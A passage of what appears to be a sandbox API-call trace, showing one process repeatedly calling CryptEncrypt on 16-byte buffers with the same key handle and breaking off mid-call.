CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.213] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.213] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.213] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.213] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.213] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.213] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.213] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.213] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.213] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.213] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.213] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.213] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.214] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.214] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.214] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.214] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.214] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.214] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.214] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.214] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.214] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.214] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.214] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.214] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.214] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.214] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.214] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.214] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.214] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.214] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.214] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.214] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.214] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.214] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.215] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.215] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.215] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.215] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.215] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.215] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.215] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.215] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.215] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.215] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.215] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.215] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.215] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.215] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.215] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.215] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.215] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.216] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.216] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.216] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.216] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.216] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.216] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.217] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.217] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.217] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.217] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.217] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.217] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.217] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.217] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.217] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.217] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.217] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.217] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.217] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.217] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.217] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.217] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.217] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.217] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.217] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.217] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.217] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.217] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.218] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.218] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.218] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.218] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.218] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.218] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.218] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.218] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.218] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.218] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.218] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.218] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.218] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.218] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.218] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.218] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.218] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.218] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.218] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.218] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.218] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.218] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.219] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.219] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.219] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.219] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.219] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.219] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.219] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.219] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, 